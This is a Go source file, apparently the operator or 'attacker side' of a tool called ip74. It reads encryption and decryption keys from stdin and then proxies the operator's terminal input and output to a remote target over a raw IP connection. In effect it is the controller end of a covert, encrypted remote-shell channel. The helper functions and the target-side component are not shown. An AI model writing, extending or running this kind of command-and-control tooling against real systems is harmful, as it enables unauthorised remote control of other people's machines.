attack.go

package main

/*
 * attack.go
 * Attacker side of ip74
 * By J. Stuart McMurray
 * Created 2016022
 * Last Modified 2016022
 */

import (
    "bufio"
    "fmt"
    "io"
    "log"
    "net"
    "os"
)

/* attack proxies stdio to the remote end connected to c. */
func attack(c *net.IPConn) {
    /* Get attack keys */
    skey, rkey := readAttackKeys()

    log.Printf("Ready to attack! %v <-> %v", c.LocalAddr(), c.RemoteAddr())

    /* Read data from stdin, pass to target */
    ec := make(chan error)
    go send(c, os.Stdin, skey, ec)
    go recv(os.Stdout, c, rkey, ec)

    /* Wait for something to go wrong */
    err := <-ec
    if nil == err || io.EOF == err {
        return
    }
    log.Fatalf("Error: %v", err)
}

/* readAttackKeys prompts for and reads keys from stdin.  It will exit the
program with a call to log.Fatalf if the keys cannot be read or if either of
the keys is the wrong length. */
func readAttackKeys() (send, recv [KEYLEN]byte) {
    r := bufio.NewReader(os.Stdin)
    /* Get send key */
    fmt.Fprintf(os.Stderr, "32-byte send (encryption) key: ")
    send = getKey(r)
    fmt.Fprintf(os.Stderr, "32-byte receive (decryption) key: ")
    recv = getKey(r)

    return
}